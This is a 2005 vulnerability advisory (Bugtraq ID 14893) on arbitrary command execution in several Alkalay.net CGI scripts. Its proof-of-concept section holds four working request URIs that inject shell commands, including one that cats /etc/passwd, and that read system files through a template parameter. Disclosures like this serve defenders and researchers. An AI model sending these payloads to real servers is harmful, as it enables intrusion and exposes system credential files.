Alkalay.Net Multiple Scripts Arbitrary Remote Command Execution Vulnerabilities

BID:14893

Info

Alkalay.Net Multiple Scripts Arbitrary Remote Command Execution Vulnerabilities

Bugtraq ID: 14893
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Sep 21 2005 12:00AM
Updated: Sep 21 2005 12:00AM
Credit: Sullo <[email protected]> is credited with the discovery of these vulnerabilities.
Vulnerable: Alkalay.net nslookup.cgi
Alkalay.net notify
Alkalay.net man-cgi
Alkalay.net contribute.pl
Not Vulnerable:

Discussion

Alkalay.Net Multiple Scripts Arbitrary Remote Command Execution Vulnerabilities

Multiple Alkalay.net scripts are prone to arbitrary remote command execution vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.

An attacker can prefix arbitrary commands with the pipe '|' character and have them executed in the context of the Web server process.

Exploit / POC

Alkalay.Net Multiple Scripts Arbitrary Remote Command Execution Vulnerabilities

No exploit is required.

The following proof of concept URI are available:
http://www.example.com/cgi-bin/man-cgi?section=0&topic=ls;touch%20/tmp/test
http://www.example.com/cgi-bin/nslookup.cgi?query=example.com%3B/bin/cat%20/etc/passwd&type=ANY&ns=
http://www.example.com/cgi-bin/contribute.pl?template=/etc/passwd&contribdir=.
http://www.example.com/cgi-bin/contribute.cgi?template=/etc/passwd&contribdir=.

Solution / Fix

Alkalay.Net Multiple Scripts Arbitrary Remote Command Execution Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Alkalay.Net Multiple Scripts Arbitrary Remote Command Execution Vulnerabilities

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